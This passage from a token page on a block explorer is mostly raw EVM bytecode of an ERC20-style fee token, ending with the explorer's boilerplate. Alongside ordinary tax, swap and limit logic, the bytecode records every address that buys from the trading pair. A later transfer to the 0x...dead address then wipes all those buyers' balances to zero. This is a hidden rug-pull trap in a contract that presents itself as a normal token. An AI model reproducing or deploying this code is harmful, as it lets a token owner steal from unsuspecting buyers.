b50600c55600190565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6106eb6114d4565b610dc96113d4565b6005546001600160a01b0316610e145760405162461bcd60e51b815260206004820152601060248201526f14185a5c881b9bdd0818dc99585d195960821b6044820152606401610783565b306000908152602081905260409020546106eb90476115f4565b610e366113d4565b6001600160a01b038116610e9b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610783565b61062b8161142e565b6001600160a01b038316610f065760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610783565b6001600160a01b038216610f675760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610783565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610fd48484610d8e565b90506000198114610c59578181101561102f5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610783565b610c598484848403610ea4565b6001600160a01b0383166110625760405162461bcd60e51b815260040161078390611ea9565b6001600160a01b0382166110885760405162461bcd60e51b815260040161078390611e66565b600081116110e45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20616d6f756e74206d75737420626520677265617465722074686044820152630616e20360e41b6064820152608401610783565b6110ee83836116b7565b156110fb576110fb6114d4565b6009546001600160a01b03841660009081526014602052604090205460ff600160a01b90920482161591168061114957506001600160a01b03831660009081526014602052604090205460ff165b15611152575060005b61115d848483611754565b1561124957600a548211156111b45760405162461bcd60e51b815260206004820152601f60248201527f4d6178207472616e73616374696f6e20616d6f756e74206578636565646564006044820152606401610783565b6001600160a01b03841660009081526016602052604090205460ff161561124957600b546001600160a01b0384166000908152602081905260409020546111fb9084611f5f565b11156112495760405162461bcd60e51b815260206004820152601a60248201527f4d61782077616c6c657420616d6f756e742065786365656465640000000000006044820152606401610783565b60008082156113c1576001600160a01b03861660009081526016602052604090205460ff16156112ec576103e8600d54856112849190611f99565b61128e9190611f77565b9150600d54601054836112a19190611f99565b6112ab9190611f77565b601360008282546112bc9190611f5f565b9091555050600d54600f546112d19084611f99565b6112db9190611f77565b6112e59082611f5f565b9050611382565b6001600160a01b03851660009081526016602052604090205460ff1615611382576103e8600e548561131e9190611f99565b6113289190611f77565b9150600e546012548361133b9190611f99565b6113459190611f77565b601360008282546113569190611f5f565b9091555050600e5460115461136b9084611f99565b6113759190611f77565b61137f9082611f5f565b90505b81156113b45761139c86306113978486611fb8565b611847565b6009546113b49087906001600160a01b031683611847565b6113be8285611fb8565b93505b6113cc868686611847565b505050505050565b6007546001600160a01b031633146106eb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610783565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260166020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b306000908152602081905260409020546013548115806114f2575080155b156114fb575050565b600c5482111561150b57600c5491505b6040517f3f468fa137d8f3bc1ed0165066ae4356a2665e48e7a5fe32b9a20860a380a58790600090a16000600282601354856115479190611f99565b6115519190611f77565b61155b9190611f77565b905060006115698284611fb8565b905047611575826119ee565b60006115818247611fb8565b600060135590508084158015906115985750600081115b156115eb576115a785826115f4565b601354604080518681526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b50505050505050565b60085461160c9030906001600160a01b031684610ea4565b60085460095460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c4016060604051808303818588803b15801561167757600080fd5b505af115801561168b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116b09190611db1565b5050505050565b601354600c5460009190811080159081906116dc5750600954600160a01b900460ff16155b801561170157506001600160a01b03851660009081526016602052604090205460ff16155b801561172657506001600160a01b03851660009081526014602052604090205460ff16155b801561174b57506001600160a01b03841660009081526014602052604090205460ff16155b95945050505050565b60006117686007546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561179757506007546001600160a01b03848116911614155b80156117bc57506001600160a01b03841660009081526015602052604090205460ff16155b80156117e157506001600160a01b03831660009081526015602052604090205460ff16155b80156117f857506001600160a01b03831661dead14155b801561180c57506001600160a01b03831615155b80156118215750600954600160a81b900460ff165b801561182a5750815b801561183f57506001600160a01b0384163014155b949350505050565b6001600160a01b03831661186d5760405162461bcd60e51b815260040161078390611ea9565b6001600160a01b0382166118935760405162461bcd60e51b815260040161078390611e66565b6001600160a01b0383166000908152602081905260409020548181101561190b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610783565b6005546001600160a01b038581169116141561196d57600680546001810182556000919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0385161790555b6001600160a01b03831661dead141561198857611988611b4f565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610c59565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a2357611a2361203b565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a7757600080fd5b505afa158015611a8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aaf9190611c80565b81600181518110611ac257611ac261203b565b6001600160a01b039283166020918202929092010152600854611ae89130911684610ea4565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b21908590600090869030904290600401611eee565b600060405180830381600087803b158015611b3b57600080fd5b505af11580156113cc573d6000803e3d6000fd5b60005b600654811015611c2557600554600680546001600160a01b039092169183908110611b7f57611b7f61203b565b6000918252602090912001546001600160a01b031614801590611bd25750306001600160a01b031660068281548110611bba57611bba61203b565b6000918252602090912001546001600160a01b031614155b15611c1557600080600060068481548110611bef57611bef61203b565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b611c1e8161200a565b9050611b52565b506106eb60068054600082559060005260206000209081019061062b91905b80821115611c585760008155600101611c44565b5090565b600060208284031215611c6e57600080fd5b8135611c7981612051565b9392505050565b600060208284031215611c9257600080fd5b8151611c7981612051565b60008060408385031215611cb057600080fd5b8235611cbb81612051565b91506020830135611ccb81612051565b809150509250929050565b600080600060608486031215611ceb57600080fd5b8335611cf681612051565b92506020840135611d0681612051565b929592945050506040919091013590565b60008060408385031215611d2a57600080fd5b8235611d3581612051565b915060208301358015158114611ccb57600080fd5b60008060408385031215611d5d57600080fd5b8235611d6881612051565b946020939093013593505050565b600060208284031215611d8857600080fd5b5035919050565b60008060408385031215611da257600080fd5b50508035926020909101359150565b600080600060608486031215611dc657600080fd5b8351925060208401519150604084015190509250925092565b60008060008060808587031215611df557600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611e3e57858101830151858201604001528201611e22565b81811115611e50576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f3e5784516001600160a01b031683529383019391830191600101611f19565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f7257611f72612025565b500190565b600082611f9457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611fb357611fb3612025565b500290565b600082821015611fca57611fca612025565b500390565b600181811c90821680611fe357607f821691505b6020821081141561200457634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561201e5761201e612025565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461062b57600080fdfea2646970667358221220bdbb4fb79a4588cf5f2030060f4739ddbffd9a135aaae212992ad0076cf1e17564736f6c63430008070033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.